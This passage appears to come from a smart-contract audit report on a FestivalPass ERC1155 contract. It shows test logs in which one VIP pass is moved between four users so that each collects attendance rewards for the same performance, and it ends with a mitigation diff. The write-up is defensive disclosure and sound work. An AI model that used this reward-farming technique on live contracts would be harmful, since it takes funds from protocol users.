Total BEAT farmed: 6000000000000000000000 Legitimate total (2 performances, 1 person): 600000000000000000000 Exploitation multiplier: 10 [PASS] testSinglePassMultipleRewards() (gas: 567999) Logs: === PASS LENDING REWARD MULTIPLICATION EXPLOIT === --- Setup: Alice buys 1 VIP pass --- Alice VIP balance: 1 Alice BEAT balance (welcome bonus): 5000000000000000000 --- Performance starts, exploitation begins --- STEP 1: Alice attends performance Alice attendance reward: 200000000000000000000 Alice has attended: true STEP 2: Alice transfers VIP pass to Bob Alice VIP balance: 0 Bob VIP balance: 1 Bob has pass: true STEP 3: Bob attends SAME performance with transferred pass Bob attendance reward: 200000000000000000000 Bob has attended: true STEP 4: Bob transfers VIP pass to Charlie STEP 5: Charlie attends SAME performance Charlie attendance reward: 200000000000000000000 STEP 6: Charlie transfers to Dave Dave attendance reward: 200000000000000000000 === EXPLOITATION RESULTS === Total BEAT farmed from 1 pass: 800000000000000000000 Legitimate reward (1 person): 200000000000000000000 Reward multiplication factor: 4 Excess BEAT stolen: 600000000000000000000 Attendance tracking per user: Alice attended: true Bob attended: true Charlie attended: true Dave attended: true Final pass holder (Dave): 1 Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.49ms (2.14ms CPU time) Ran 1 test suite in 4.56ms (2.49ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests) ``` ## Recommended Mitigation The fix implements per-pass attendance tracking to ensure each individual pass can only be used once per performance, regardless of how many times it's transferred between users. This preserves the intended 1-pass-1-reward economics while still allowing legitimate pass transfers for other purposes, preventing coordinated reward multiplication while maintaining the flexibility of the ERC1155 standard. ```diff contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass { // ... existing state variables ... + mapping(uint256 => mapping(uint256 => bool)) public passUsedForPerformance; // performanceId => passTokenId => used function attendPerformance(uint256 performanceId) external { require(isPerformanceActive(performanceId), "Performance is not active"); require(hasPass(msg.sender), "Must own a pass"); require(!hasAttended[performanceId][msg.sender], "Already attended this performance"); require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met"); + // Check which pass type the user owns and mark it as used + uint256 userPassId = getUserPassId(msg.sender); + require(!passUsedForPerformance[performanceId][userPassId], "This pass already used for this performance"); + passUsedForPerformance[performanceId][userPassId] = true; hasAttended[performanceId][msg.sender] = true; lastCheckIn[msg.sender] = block.timestamp; uint256 multiplier = getMultiplier(msg.sender); BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier); emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier); } + function getUserPassId(address user) internal view returns (uint256) { + if (balanceOf(user, BACKSTAGE_PASS) > 0) return BACKSTAGE_PASS; + if (balanceOf(user, VIP_PASS) > 0) return VIP_PASS; + if (balanceOf(user, GENERAL_PASS) > 0) return GENERAL_PASS; + revert("User has no pass"); + } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!